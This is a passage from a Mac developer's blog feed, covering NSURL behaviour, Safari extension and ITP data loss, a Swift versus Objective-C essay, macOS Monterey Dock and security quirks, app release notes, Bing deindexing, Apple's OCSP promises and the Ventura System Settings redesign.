The full URL would be the concatenation of [myURL scheme], ':', [myURL resourceSpecifier] */ @property (nullable, readonly, copy) NSString *scheme; @property (nullable, readonly, copy) NSString *resourceSpecifier;

The problem is that if you use [NSURL URLWithString:relativeToURL:] rather than [NSURL URLWithString:] to get an NSURL instance, you can get unexpected results for the resourceSpecifier property:

#import <Foundation/Foundation.h>
int main(int argc, const char *argv[]) {
  @autoreleasepool {
    NSURL *base = [NSURL URLWithString:@"https://www.apple.com"];
    NSURL *relative = [NSURL URLWithString:@"/mac/" relativeToURL:base];
    NSURL *absolute = [relative absoluteURL];
    NSLog(@"relative: %@", [relative resourceSpecifier]);
    NSLog(@"absolute: %@", [absolute resourceSpecifier]);
  }
  return 0;
}

Here's the output of the above program:

relative: /mac/
absolute: //www.apple.com/mac/

The catch is that the relative receiver does specify a net location portion of the URL… in the base URL. So why doesn't NSURL resolve against the base URL to find the resourceSpecifier? Why…

Anyway, the workaround, as you can see above, is to get the absoluteURL first before checking the resourceSpecifier.

]]>
More disappearing Safari extensions https://lapcatsoftware.com/articles/disappearing-safari2.html 2022-07-06T13:30:00Z 2022-07-06T13:30:00Z A year ago I blogged about a macOS bug that causes all of your installed Safari web extensions to disappear silently and mysteriously from Safari. The bug seems to have started on Big Sur, and unfortunately it hasn't gotten any better on Monterey. If anything, the bug gotten worse. It's happening to me rather frequently now. And it continues to happen to other Safari users, not just users of my Safari web extension Tweaks for Twitter, but to users of all Safari web extensions from every developer. The problem has plagued all of us for more than a year, and Apple seems to refuse to make it a priority.

As a reminder, if your Safari web extensions have disappeared, you can restore them with a command in Terminal:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f -R /Applications/Safari.app

However, this command might not restore your extension data. I've found that in some cases, Safari not only forgets the extensions, it also erases the extension storage! Extension storage files are located inside the folder ~/Library/Containers/com.apple.Safari/Data/Library/Safari/WebExtensions/ on your Mac. Tweaks uses local extension storage for your Tweaks preferences. Fortunately, Tweaks preferences are just a series of checkboxes that you enable or disable, so it's fairly easy to set them again if lost. But other Safari extensions may store important data that would be difficult to restore and distressing if lost, which makes this bug egregiously bad. Data loss bugs are the worst kind of bug. (I would also mention that Safari Intelligent Tracking Protection automatically deletes website storage after 7 days, but Apple considers this to be a "feature" rather than a bug.)

Although I haven't discovered how to reproduce the Safari web extensions bug reliably, its frequent occurrence has allowed me to investigate further. I've found that the removal of web extensions from Safari seems to occur in two stages. If you open the file ~/Library/Containers/com.apple.Safari/Data/Library/Safari/WebExtensions/Extensions.plist, you'll see every Safari web extension installed on your Mac, and for each extension there's an AddedDate key. When the disappearing extension bug first occurs, you'll also see a RemovedDate key for each extension. This comes from the WBSExtensionStateExtensionRemovedDateKey symbol in the macOS SafariShared and SafariSharedUI frameworks. It appears that this key is added when you launch Safari, though I don't know what circumstances cause Safari to add it on launch. At this point, your Safari extension storage files are still safe on disk. On a subsequent launch of Safari, sometime later, it empties the Extensions.plist file and also deletes all of the extension storage. This is the second step. If you notice and restore your extensions with the Terminal command before the storage is erased by Safari, then you can get everything back safely. Otherwise it's too late, unless you've made a timely backup of your home folder, in which case you can restore the storage files from there.

I hope that Apple will take this new information, along with the information I've previously provided, to devote immediate attention and resources to finding and fixing the bug. I do know that Apple engineers have been aware of this bug for quite some time, so I don't understand why they've allowed it to linger.

]]>
Thoughts on Swift and Objective-C https://lapcatsoftware.com/articles/swift.html 2022-07-04T22:35:00Z 2022-07-04T22:35:00Z I want to start by saying that I speak only for myself. I don't speak for other Objective-C programmers, nor do they speak for me. We are not of one mind. The same is true of Swift programmers: some of them seem quite reasonable to me, and others seem rather… fanatical. Regardless, it's almost impossible to have a productive discussion about programming languages on social media, given the constraints of brevity, and also given the freedom of fanatics to barge in on the discussion at any time, effectively ruining it. This is why I'm taking the time to expound here, free of those constraints. My aim is not to persuade anyone to choose a particular programming language, just to explain my point of view in reasonable terms, without the caricatures and insults regurgitated on social media.

It may seem to some people that I'm fanatical about Objective-C, but I actually don't like any programming language. (Maybe Pascal? IIRC it was pretty nice, though my memory of it is very hazy. Could be nostalgia.) I find it odd when people say they love a programming language. In contrast, I take a utilitarian approach to programming, not an emotional one. My joy comes from shipping a product that users enjoy (and from making a living doing it!), not from writing code per se. Maybe that's because programming was not my first choice of career. Or my second choice, or third choice. That's a story for another day. (Never.) Anyway, I fully recognize that Objective-C has flaws — all languages do — and before Swift was introduced in 2014, I had always wanted something somewhat different, like the "Objective-C without the C" that Hair Force One falsely claimed was embodied by Swift. In retrospect, I've come to recognize that "with the C" is not bug but a feature. Nonetheless, I don't consider Objective-C to be an ideal language. It mixes idealism with pragmatism, inherently a compromise position. I've used many programming languages over my life, as appropriate in the context, and nowadays as a web browser extension developer I tend to write more JavaScript than native code. (By the way, JavaScript is the absolute worst IMO LOL.) I'm certainly not committed to Objective-C forever. It wasn't my first language or my last.

Although I didn't jump on the Swift bandwagon in 2014, I didn't refuse to learn Swift either. In 2017 I wrote an open source Swift app, just to show that I could do it. (This is back when I was still looking for a job.) By popular demand, I also wrote Swift sample code for my long-running Working Without a Nib series of blog posts describing how to create a Mac app, and specifically a Mac app's main menu, without nibs/xibs/storyboards. In fact I've written several blog posts about Swift programming. I can't say I'm a Swift expert, but you can't say I'm a Swift ignoramus. Having used Swift a bit, I ultimately didn't find a reason to switch full-time from Objective-C to Swift. I think I share one opinion with many Swift programmers, which is that it's difficult to fluently alternate between Objective-C and Swift. After writing a lot of Swift, you tend to lose your Objective-C habits, and vice versa. For the sake of maximum productivity, writing both languages simultaneously is the worst of both worlds — especially in the same project! — and it's probably best to choose one language or the other for most of your work. I personally chose to stick with Objective-C.

Perhaps I was unlucky, but my Swift experience turned out to be unpleasant. My main complaint is that the Swift team killed my Swift app. In other words, the app will no longer build with Swift version 5, giving the compiler error "cannot override with a stored property", and it would require a significant refactor of the app to avoid the compiler error. I don't have the time or desire to put that much work into a free open source app, especially without a ton of users. Fortunately, Xcode still supports building with Swift version 4.2, but we know that support for Swift 4 will eventually be removed from Xcode, as has support for Swift versions 1, 2, and 3. I did file a bug with the Swift project in 2018 about my issue, which was only a compiler warning in Swift 4, becoming a compiler error in Swift 5. However, the bug was immediately closed as "Won't Do", so the Swift team is apparently not interested in preserving backward compatibility. Whereas with Objective-C, the backward compatibility situation is mostly wonderful. Recently I took an open source Objective-C project last updated in 2006, in the ppc/i386 era, and all it took was a few build setting modifications to recompile for Apple silicon. It Just Works™!

(Aside: In fairness, the Objective-C Garbage Collection situation was a dumpster fire. Apple removed GC entirely from Mac OS X, killing all apps that used it. This was after certain Apple evangelists who shall remain nameless pushed Objective-C GC zealously. I never jumped on the GC bandwagon myself, but some developers did, to the detriment of themselves and their users. The removal of GC was one of the worst violations of backward compatibility in Objective-C history. Fortunately, it was the exception, not the norm.)

Another major issue I had with Swift was that I found bridging of objects between a Swift app and the Objective-C Apple frameworks to be very problematic. For example, Swift String and Objective-C NSString have different criteria for equality: Unicode canonical equivalence for the former, UTF-16 code unit sequence for the latter. Moreover, both Swift Dictionary and Objective-C NSDictionary frequently use strings for dictionary keys. This can produce unexpected results and bugs when you bridge String/NSString and Dictionary/NSDictionary, a common occurrence in AppKit and UIKit Swift apps. Add UserDefaults/NSUserDefaults to the mix, and it's a minefield. I'm not sure how you're even supposed to "code defensively" for this situation, because it's an inherent "feature" of the language bridge.

This reminds me of a saying we used to have as Cocoa developers: "Don't fight the frameworks." The API tend to be opinionated, as it were, and if you go against those opinions in your code, you're likely signing up for a lot of pain, frustration, and failure. I think the saying is relevant here, because most of Apple's frameworks were written in and for Objective-C. Swift was tacked on much later, and the design goals of Swift and Cocoa were not the same, sometimes in conflict. I usually try to avoid fighting the frameworks. (Occasionally I fight the frameworks on purpose, but you have to know the rules before you know when to break them.) I find the best programming language to be the language of the API: Objective-C for Cocoa, C for Core Foundation, JavaScript for DOM, etc. Of course Swift would be the best (only?) language to use for SwiftUI apps. Whether you should use SwiftUI at all is another matter, especially on Mac, but if you do, don't fight the framework in that case either. Unless and until SwiftUI replaces AppKit/UIKit for me, I'm not going to fight those Objective-C frameworks too much.

Let's talk about "safety" now. I don't see how I'm sacrificing safety by continuing to write Objective-C. I do ship my fair share of bugs, as you can see in the release notes of my software, but I almost never ship bugs that would have been detected by the Swift compiler. (Indeed a lot of mine are JavaScript bugs.) As an Objective-C expert, and a careful programmer in general, I simply don't write those kind of bugs anymore. Your Mileage May Vary, but my mileage is very good. I haven't shipped a crasher in years: I can't even remember the last one, it's been so long. It's important to recognize that the days of retain-release-autorelease memory management in Objective-C are long gone. Automatic Reference Counting makes memory management easier and eliminates the possibility of bugs in many cases. The Objective-C tooling has also improved significantly: we have more compiler warnings (if desired), nullability annotations (if desired), lightweight generics (if desired), the static analyzer, and runtime sanitizers. The baseline of Objective-C is much safer now than in the past. I didn't have a lot of trouble personally with retain-release-autorelease once I learned it, and my code has always been solid in that respect, but I do appreciate not having to make the effort anymore. I'm happy to take help from the compiler, as long as the compiler remains a help and doesn't become a hindrance. Despite the fact that Objective-C allows you to shoot yourself in the foot if you really insist, it also allows you to be quite safe if you really insist. The compiler won't complain if you declare every variable as generic id and always skip nil checking; complaining about that is really the job of your coworkers in code review.

What else do I prefer about Objective-C over Swift?

  1. Everything compiles faster, often much faster.
  2. The compiler doesn't crash ever.
  3. The debugger actually works, most of the time.
    I see a lot of people claim that Objective-C programmers "fear change" or "fear learning", but I see a lot of programmers of all languages who fear the debugger or fear learning how to use the debugger. The debugger is great, it's your friend! In fairness, maybe the unreliability of the Swift debugger has trained people to fear it?
  4. Trivial C and C++ API and source code compatibility.
    This is a huge and overlooked Objective-C advantage. The world outside of Apple mostly doesn't speak Swift.
  5. Header files.
    Wait, what?!? Yes, I prefer having header files to not having header files. A lot of programmers complain about maintaining header files, but header files represent your API, so you're complaining about maintaining an API, which is not a good look, to be honest. If there's no distinction between your interface and your implementation, then your architecture is likely not great.
  6. Verbosity.
    Wait, what?!? Yes, I prefer the verbosity of Objective-C method names. I find that it makes the code more readable and understandable. It almost kind of reads like English sentences. IMO Swift is too terse for its own good. Furthermore, I'm not afraid of typing or of boilerplate. Boilerplate code is the easiest code to write! For me, the time spent typing the code doesn't amount to a significant drain on my overall development time. I spend a lot of time thinking about the code, thinking about the user interface, thinking about the workflow and design of the app. (And thinking about how to sell the app.) It's the thought that counts, right? Premature optimization is the root of all evil, and I consider optimizing for number of characters typed in the code to be very premature, and thus very evil. ;-)

One more think I'll discuss. Is Swift easier to learn than Objective-C? I don't know. Maybe, maybe not. I'm skeptical. Perhaps it's easier to get started in Swift, but I personally think it's harder to master Swift than to master Objective-C. It feels like there's a lot more complexity to Swift, once you get beyond the basics. Regardless, I learned C by reading the classic "C Programming Language" by Kernighan and Ritchie, and I learned Objective-C by reading Apple's own "Objective-C Programming Language" in their online developer documentation (archive, sigh). At the time, I didn't think in terms of "easy" or "hard". I wanted to learn how to write Mac software, so I had to learn Objective-C. There was no choice. I didn't pity myself for having to learn Objective-C, it was simply a technical requirement. Every programmer who wrote native Mac OS X and iOS apps prior to 2014 had to learn Objective-C, and it was fine! Countless great apps were written in Objective-C. The operating systems themselves were written in Objective-C. It didn't feel like a burden to me at the time, and it still doesn't feel like a burden to me.

Professional programmers will typically learn many programming languages over their careers, and in my experience, they're all approximately the same level of difficulty to learn. Each of them can be learned with several months of full-time use, give or take. I don't see a massive difference between the languages. There's a learning curve at the beginning, then eventually you make it over the hump, and you spend a lot more time in the learned state than you do in the learning state, so the initial cost is easily paid back if you stick with the language.

What about non-professionals though? As I mentioned before, perhaps it's easier for amateurs to get started with Swift than with Objective-C. (I also think that some Swift fanatics have engaged in slanderous scaremongering about Objective-C. IMO it's at worst only superficially scary, not really something to be scared of. Brackets are like a nice warm hug for your code! The scariest thing is actually code signing.) Does Swift help to bring potential programmers into the field? I don't know. My question, however, is this: why do beginners and professionals need to use the same programming language? If we have to "dumb down" all of our development tools just to appeal to beginners, that seems like a shame and waste to me. I'm not against beginners entering the field — we were all beginners at some point — but my first programming language ever wasn't Objective-C, it was Applesoft BASIC! I don't consider either Objective-C or Swift to be a good language for absolute beginners. Why don't we have dedicated beginner-friendly languages to bring people into programming, and then they can eventually and naturally move on to other languages if they decide to become professionals? Anecdotally, I didn't become a professional programmer until I learned Objective-C, and the language didn't stop me. The only thing we have to fear is fear itself! And JavaScript.

In 2007, programmers rushed en masse to iPhone because they were attracted by the platform, not by the language. Just as I was attracted by the Mac platform, not by the language. If the "selling point" of Apple development today is not the platforms but rather the programming language, if Swift is how you recruit programmers to the platform, that's actually a sad commentary on the state of the platforms, in my opinion. I feel that the crap store lockdown and race to the bottom have drained much of the enthusiasm out of our industry, and left us in a state where we think the programming language is the most exciting thing in the world.

]]>
macOS Monterey Dock watches /Users/Shared/ https://lapcatsoftware.com/articles/dock.html 2022-06-30T16:30:00Z 2022-06-30T16:30:00Z Lately I've noticed that every time I login to my user account on macOS Monterey, the root process fseventsd goes nuts, using almost 100% CPU for 5 to 10 minutes straight. I don't know how long this issue has been happening, because the fans rarely go nuts on my new M1 MacBook Pro. I would've noticed immediately from the fans revving on my 2014 Intel MacBook Pro, but it doesn't run Monterey, which is why I had to buy a new one this year. The fseventsd process is part of the FSEvents framework, implementing the File System Events API:

The file system events API provides a way for your application to ask for notification when the contents of a directory hierarchy are modified. For example, your application can use this to quickly detect when the user modifies a file within a project bundle using another application.

It also provides a lightweight way to determine whether the contents of a directory hierarchy have changed since your application last examined them. For example, a backup application can use this to determine what files have changed since a given time stamp or a given event ID.

I've written about the File System Events API before. Obviously it's not very "lightweight" in this case. I took a spindump in Activity Monitor and found that the fseventsd thread with heavy CPU time had a line that said "blocked by turnstile waiting for Dock". The Dock process itself had a thread named "Launch Pad Source FSEvent". I used the fs_usage command-line tool to discover exactly which files were accessed:

sudo fs_usage -e -w -f filesys

The output showed first that fseventsd opened many files in the /System/Volumes/Data/.fseventsd/ folder. These files contain the data about past file system events that occurred on your Mac. You can look at them yourself:

sudo ls -l /System/Volumes/Data/.fseventsd/

My folder contains over 127,000 files taking more than 12 GB of disk space, with dates going back to May 1. I don't know the format of the files, but I could open them in BBEdit and get the gist. Along with some binary data, you can see clear text file paths, so you know which files were involved in each file system event. Anytime any file on my Mac was modified in the past couple months, it's recorded there. I didn't check whether fseventsd opened every single file in the folder, but I did see that it was going through the files systematically, at least a couple weeks back in time.

According to fs_usage, after fseventsd opened a /.fseventsd/ file, it attempted to access files referenced by the corresponding file system event. Bizarrely, however, fseventsd only attempted to access files under the /Users/Shared/ folder, ignoring all other files!

While looking at the fs_usage output, I noticed that the Dock process itself was also very active. Analyzing these entries, I found that they were also concerned almost exclusively with files under the /Users/Shared/ folder! It looks like Dock called the FSEventStreamCreate function to get all the file system events in /Users/Shared/ and then called the getxattr function (man getxattr) to get the extended attributes of each referenced file. I don't know why Dock is accessing extended attributes of files in /Users/Shared/ or what it's looking for. I do wish it would stop.

The string "/Users/Shared" is contained within the Dock executable file on macOS Monterey. (And on the macOS Ventura beta too.)

strings - /System/Library/CoreServices/Dock.app/Contents/MacOS/Dock

The Dock executable on Big Sur doesn't contain the string "/Users/Shared". This explains why I never saw the fseventsd issue on Big Sur. The final piece of evidence convicting Dock of the crimes against my CPU is that I found a new way to reproduce the issue besides login. While fseventsd is resting at 0% at CPU, I run this command to restart the Dock, and suddenly fseventsd goes nuts again:

killall Dock

You may or may not experience the same high CPU usage as me. I believe the reason it happens for me is that I have a lot of files inside the /Users/Shared/ folder. I like the keep the size of my home folder relatively small, because I perform daily encrypted backups of my home folder and upload them to a server for offsite redundancy. I actually have a symlink from ~/Library/Developer to /Users/Shared/Developer, because Xcode puts GB worth of data in the Developer folder, such as simulator runtimes and the ever popular DerivedData. I keep open source code in /Users/Shared/, sometimes including the WebKit project, which is enormous. My iTunes library is also in /Users/Shared/. The Apple engineers who decided it was a good idea to monitor /Users/Shared/ probably didn't test with a folder the size of mine. That's unfortunate, because operating system designers need to anticipate that it can be used in ways that they personally don't.

The worst part for me is that even if I move my files in /Users/Shared/ to a different location on disk, that won't immediately solve the problem, because all of the old file system events are still there. It might take months for them to expire and get deleted by the system. The only immediate solution would be to manually empty the whole /.fseventsd/ folder. I'm not sure whether that would be safe…

]]>
macOS Monterey unannounced security misfeature https://lapcatsoftware.com/articles/monterey-security.html 2022-06-23T20:15:00Z 2022-06-23T20:15:00Z macOS 12 Monterey doesn't support my 2014 MacBook Pro, so I bought a new MacBook Pro in April. For a long time afterward I thought there was a bug in Keychain Access app that causes it to randomly launch in the background, behind the active app. I keep Keychain Access in my Dock and launch it from there, typically to copy a password and paste it into a form. (How many times must I enter my Apple ID??) I finally realized yesterday that this coincidence was the cause! Whenever the keyboard focus is in a secure text field, Monterey launches apps in the background. All apps, not just Keychain Access app.

Below is an example to illustrate. On Monterey, put the focus in the Password field and then launch an app from the Dock or from Spotlight. (Make sure the app isn't already running, otherwise it will be brought forward.)

This behavior happens in every web browser, e.g., Safari, Google Chrome, and Firefox. It happens in the Music and TV apps with the "Sign In to iTunes Store" dialog. It happens in Keychain Access itself, if you create a New Password Item and put the focus in the Password field. Oddly, it doesn't happen if the focus is in the Notes field of a New Secure Note Item. Also oddly, it doesn't happen in App Store app if the focus is in the Password field of the "Sign In to App Store" dialog. I'm not sure what causes these few exceptions.

I searched the web for documentation of this behavior and didn't find much — nothing from Apple, sadly — but there was an interesting Stack Overflow question: "On Monterey, while NSSecureTextField has focus, Hammerspoon can no longer bring another app into foreground". (Apparently Hammerspoon is a macOS automation tool. I'm not familiar with it.)

In retrospect, it turns out that I had encountered this behavior before in a slightly different situation. Shortly after I updated to Monterey, I noticed that apps kept launching in the background if Terminal app was in the foreground. After much debugging, I isolated the problem to the "Secure Keyboard Entry" setting in Terminal's main menu. I filed Feedback with Apple (FB9986784), and Apple engineering wrote a response:

This is intentional; since we can't know the user's reason for wanting secure text, we won't allow another application to pull itself forward without the user's explicit permission, because a launched application could accidentally get sent keystrokes that the user expected to go into Terminal.

Apple set my Feedback resolution to "Works as currently designed".

Although Apple considers this behavior to be a feature rather than a bug, I personally consider it to be a bug rather than a feature. The intention may have been good, but the implementation is bad.

  1. Why isn't clicking an app in the Dock considered explicit permission to bring the app forward?
  2. Apps that are already running are brought forward when I click them in the Dock, so why the difference?
  3. Backgrounding the app is annoying and inconvenient, because I'm launching the app in order to use it immediately.
  4. There's no way that I'm aware of to disable this security theater.
  5. There's no alert, notification, or visual indication to the user that macOS is intentionally backgrounding the app. Indeed you might not even see the background app at all if the frontmost app's window covers the screen. (This is even worse if you have "Show indicators for open applications" disabled in Dock System Preferences.)
  6. It's a bug because I thought it was a bug! I've been using a Mac for 20 years, and I was utterly confused for months about this "feature", until I finally figured it out on my own. User confusion — expert user confusion, if I do say so myself — is a bug.

Is there a way to rescue this as a security feature without removing it? Yes, I think so.

  1. Apple should document the feature in its support pages.
  2. Clicking an app in the Dock or selecting an app in Spotlight should be considered explicit user permission, which would allow the app to be brought forward.
  3. If an app launches without explicit user permission, and the system puts the app in the background, then there should be a visual indicator to tell the user why this happened. The visual indicator might even reassure users that the system is protecting them! Currently, most users have no idea that this feature even exists.
  4. The odd exceptions to the feature should be removed.
  5. There should be a preference to disable the automatic backgrounding. I'm fine if it's a hidden defaults command rather than exposed in System Preferences (or System Settings, sigh), but there needs to be a way to opt out of Apple's security paternalism.

By the way, I highly recommend Little Snitch to protect your privacy and security. I'd take Little Snitch over almost any security "feature" made by Apple nowadays.

]]>
Link Unshortener enhancements https://lapcatsoftware.com/articles/LinkUnshortener.html 2022-06-22T19:15:00Z 2022-06-22T19:15:00Z Link Unshortener is my Mac app that expands shortened web links, following redirects until it reveals the destination URL. Version 9.0 of Link Unshortener is now available in the Mac App Store, and this update is big! Link Unshortener 9.0 adds a convenient list of all your installed web browsers so that you can open a link in any browser with one click or keypress. And if you set Link Unshortener itself as your default web browser in System Preferences, then whenever you click a link in an external app such as Mail, Link Unshortener will allow you to easily send the link to the web browser of your choice!

Link Unshortener main window

Link Unshortener 9.0 also adds custom URL redirects! Automatically redirect new Reddit to old Reddit, Twitter to Nitter, YouTube to Invidious, etc. And if you have StopTheMadness installed, then redirect rules are shared between the Safari extension and Link Unshortener.

Link Unshortener Redirects Preferences

Link Unshortener 9.0 adds custom web browser opening rules! Associate specific URLs with specific web browsers. For example, automatically open Google Docs links in Google Chrome, and other links in Safari. As with the redirect rules, web rules are shared with the StopTheMadness Safari extension.

Link Unshortener Web Rules Preferences

Link Unshortener 9.0 adds a preference to open links in the background! Keep Link Unshortener in the foreground while opening multiple links in the background. And whether your preference is set to open links in the foreground or the background, you can temporarily switch the preference by holding down the shift key when you open a link. (Note: This new feature works with Safari and Firefox, but Google Chrome and Chromium-based browsers such as Microsoft Edge and Brave have a bug that prevents links from opening in the background.)

Link Unshortener 9.0 makes the app more powerful and useful than ever. If already purchased Link Unshortener, this update is free! If you haven't purchased Link Unshortener yet, it's available in the Mac App Store!

]]>
Stop Safari from switching your Twitter timeline https://lapcatsoftware.com/articles/Safari-Twitter.html 2022-06-20T12:00:00Z 2022-06-20T12:00:00Z Suppose you don't use Twitter for a week on one of your Apple devices. This can easily happen to me, because I own half a dozen Apple devices. Or suppose you decide to take a long break from "doomscrolling". Or maybe you just go on a vacation for a week. When you return home from your Twitter vacation, you may find that Twitter has also returned Home. In other words, your timeline has switched from the reverse chronological "Latest Tweets" to the algorithmic "Home". You'd probably blame Twitter for switching your timeline, as Twitter has been known to silently switch timelines, but I'll explain why the blame may actually lie with Safari.

If you look in the Storage tab of the Safari web inspector, you can see that Twitter stores some of its settings, such as home timeline behavior, in an IndexedDB.

homeTimelineBehavior

If you change your timeline with the "sparkly" icon at the top of https://twitter.com/home, the change will be reflected in that database. Your Twitter display settings such as font size and color scheme are also stored in the database.

This is where Safari's so-called Intelligent Tracking Prevention (ITP) comes in. There are many aspects to ITP, but here's the one relevant to our discussion:

7-Day Cap on All Script-Writeable Storage

Trackers executing script in the first-party context often make use of first-party storage to save and recall cross-site tracking information. Therefore, ITP caps the expiry of all cookies created in JavaScript to 7 days and deletes all other script-writeable storage after 7 days of no user interaction with the website. The latter storage forms are:

  • IndexedDB
  • LocalStorage
  • Media keys
  • SessionStorage
  • Service Worker registrations and cache

To put it simply, if you haven't visited Twitter in the past 7 days, then Safari will automatically delete your Twitter settings, including your font size, color scheme, and timeline behavior!

If you still don't believe that Safari could be so… "intelligent", you can trigger ITP yourself now without having to wait 7 days. Safari keeps track of the sites you've visited in a SQLite database file named observations.db under your Library folder. If you want to read this file, run the following commands in Terminal. (To be safe, quit Safari first.)

% sqlite3 ~/Library/Containers/com.apple.Safari/Data/Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db
sqlite> .dump

To trigger ITP deletion of Twitter's IndexedDB, run the following commands.

sqlite> UPDATE ObservedDomains SET mostRecentUserInteractionTime=0.0 WHERE registrableDomain="twitter.com";
sqlite> .exit

Boom! Err, boo!

Now you may ask, is there any way to stop Safari from deleting this data after 7 days? The good news is, yes! On macOS, enable "Show Develop menu in menu bar" at the bottom of the Advanced pane in Safari Preferences, then open the Develop menu, the Experimental Features submenu, and select "Disable Removal of Non-Cookie Data After 7 Days of No User Interaction (ITP)". On iOS, the same Experimental Features submenu is in the Advanced menu at the bottom of the Safari section in Settings.

By the way, one of the many great features of my Safari extension Tweaks for Twitter is automatically detecting that your timeline has been switched from Latest Tweets to Home. You just need to enable "Warn about Home timeline" in Tweaks preferences.

]]>
Bing and DuckDuckGo removed my business web site https://lapcatsoftware.com/articles/bing.html 2022-06-16T15:05:00Z 2022-06-16T15:05:00Z Yesterday I was searching with DuckDuckGo and noticed to my dismay that my business web site https://underpassapp.com was missing entirely from the search results! (My personal web site https://lapcatsoftware.com is still in DuckDuckGo, however.)

DuckDuckGo No results found for site:underpassapp.com StopTheMadness

Many people don't realize that DuckDuckGo sources its search results from Microsoft Bing. I learned this when I was looking into advertising on DuckDuckGo, and I found that they also outsource their advertising to Microsoft. It turns out that my business web site was removed from Bing, which explains why it's missing from DuckDuckGo.

Microsoft Bing Some results have been removed

According to the link in the results, "Bing limits removal of search results to a narrow set of circumstances and conditions to avoid restricting Bing users’ access to relevant information." Yet none of these circumstances would seem to apply to my web site, so it's a mystery. Shortly after I discovered the removal, I created a Bing Webmaster Tools account and added a Bing authentication XML file to my site. I also submitted the site URL for reindexing by Bing. Unfortunately, this has not restored my site in the search results. There are no Copyright Removal Notices for my site listed in the Bing Webmaster Tools.

According to my web site logs, the last day there were hits from https://duckduckgo.com/ was June 12. But nothing June 13 through June 15. Historically, DuckDuckGo has been the second most linked search engine to my business site behind Google. My site also gets some hits from Bing. Thus, if this situation continues, it's likely to hurt my business. I can see in the logs that the bingbot has continued to crawl my site for the past week, and it even accessed the BingSiteAuth.xml file yesterday, so the problem doesn't appear to be a failure to index the site. Rather, the problem is that Bing is specifically censoring my site from the search results, for unknown reasons.

A few other people I know, including Jesse Squires, have also seen their web sites mysteriously removed from Bing and DuckDuckGo. Jesse's site is still missing! Jesse's blog post links to a blog post by Chase Watts, Affiliate Manager at GoDaddy, who explains an exploit in Bing that allows website owners to deindex competitors, so it's possible that this is what happened to me. But who knows? Only Microsoft knows, and they're not telling. I call on Microsoft to immediately restore my site and Jesse's site to Bing, and to explain why they were removed.

]]>
Apple reneged on OCSP privacy https://lapcatsoftware.com/articles/ocsp-privacy.html 2022-06-13T18:00:00Z 2022-06-13T18:00:00Z The incident I refer to as the Mac OCSP appocalypse occurred in November 2020. Apple's Developer ID Online Certificate Status Protocol (OCSP) service went down, which caused Mac users worldwide to experience issues with launching their apps. I was among the first to discover the cause of this app launching issue. In response to the Mac OCSP appocalypse, Apple promised several changes.

In addition, over the the next year we will introduce several changes to our security checks:

  • A new encrypted protocol for Developer ID certificate revocation checks
  • Strong protections against server failure
  • A new preference for users to opt out of these security protections

(The "the the" above is Apple's typo, not mine.)

The first change was accomplished: macOS switched from using the unencrypted http ocsp.apple.com service to the new encrypted https ocsp2.apple.com service. This has been confirmed on Big Sur and Monterey. (I assume but haven't confirmed that it continues to be true of Ventura.)

It's impossible for us on the outside to verify whether the second change was accomplished, so I have nothing to say about that.

The third change, a new preference for users to opt out, is still nowhere to be found, not even in the new macOS 13 Ventura beta. The System Preferences app itself has been redesigned and renamed on Ventura, yet the promised new preference is missing, more than a year and half after Apple made these promises. Apple's support document says "Published Date: April 30, 2021" for some reason (maybe just the date of some revisions), but the promises were originally published in November 2020, so they ought to have been fulfilled by November 2021, according to Apple's own stated timeline.

Since the Mac OCSP appocalypse, which occurred on the day that macOS 11 Big Sur was released, we've now seen two major updates — macOS 12 Monterey and macOS 13 Ventura — that have both failed to fulfill Apple promise for an opt out preference.

Apple, what's the deal? Do Apple executives think we would just forget about this? I haven't forgotten.

]]>
Why Ventura System Settings is bad, Part 2 https://lapcatsoftware.com/articles/SystemSettings2.html 2022-06-09T01:45:00Z 2022-06-09T01:45:00Z I have some additional thoughts after Part 1. First, I've seen some people vehemently defend the System Settings redesign who haven't yet installed macOS 13 Ventura or used the new System Settings. I find this ridiculous. Why are people like this? It's like they revel in ignorance. Anyway, they're missing the fundamental maxim I quoted in Part 1, "Design is how it works."

General Disarray

Monterey System Preferences has 33 built-in preference panes (or 34 if you've installed a beta profile and thus have a Profiles pane). System Settings has 30 items in the sidebar (not including the Search field and the "Start Using iCloud" advertisement that I can't dismiss with "Not Now"). Some people say they prefer the System Settings sidebar list to the "Show All Preferences" view in System Preferences, but my response is that the sidebar list is artificially short. There are 12 items in the "General" category of System Settings. Apple might as well have named it "Junk Drawer". General includes 7 items that are actually full preference panes in System Preferences. I'm not sure what's supposed to make these general and the other items not general. If the General items were included in the sidebar, it would be even more of a mess. As it is, the sidebar can only show 18 items on my screen at minimum window height, 27 at maximum window height (with bottom Dock). So the sidebar will never show all of the items, unlike in System Preferences. Moreover, System Settings has no way to alphabetize the list, or customize the list to remove unwanted items, unlike in System Preferences. (By the way, I should mention that Show All Preferences has the keyboard shortcut ⌘L in System Preferences, a shortcut that does nothing in System Settings.)

The Desktop & Dock section in System Settings is also absurdly long. It combines preferences from multiple panes on Monterey: Dock & Menu Bar, General (now named Appearance in System Settings), and Mission Control. It's unclear why these preferences are all stuffed together on Ventura, except to save space in the already crowded sidebar.

Think Different

I understand that people are confused by the arbitrary groupings of preference panes into categories in System Preferences — but this problem still exists in System Settings! The settings are still arranged into arbitrary categories with no apparent logic. The irony of System Settings is that Apple took the time to redesign it without taking the time to rethink it! System Settings doesn't really solve the problems that exist in System Preferences. Why can't you customize the settings more in System Settings than in System Preferences, for example, by manually reordering them? This is a lost opportunity to redesign the app and make it better instead of just different. Why not remove some settings from System Settings entirely, making it less crowded and confusing? Why are there Siri settings when there's Siri app? Why are there Time Machine settings when there's Time Machine app? Why are there Passwords settings when there's Keychain Access app? Why are there Startup Disk settings when there's Disk Utility? Why can't you restart with another disk from the  menu? Why isn't Software Update a standalone app? Why isn't Screen Time a standalone app? It's like Apple isn't even trying here.

Switches vs. Checkboxes

I want to talk about what's wrong with switches. In my view, the switch in iOS and macOS is an unintuitive user interface item. The analogue is supposed to be a physical switch. (Set aside the fact that the majority of physical switches are vertical, like light switches, rather than horizontal.) With a physical switch, you have to grab the knob and pull it. You can do this with a graphical switch, but it's slower than checking a checkbox, which requires only a single click or tap. Also, in my experience, pulling a switch is unreliable on touch screens, especially when you try to quickly swipe horizontally.

The odd thing about the graphical switch is that it also behaves like a checkbox. If you simply click or tap the switch, it will toggle. This is more efficient than grab and pull. However, unlike a checkbox, the switch visually suggests to the user that they ought to pull it rather than simply click it! The most efficient way of using a switch is the opposite of what it shows, which is why it's unintuitive.

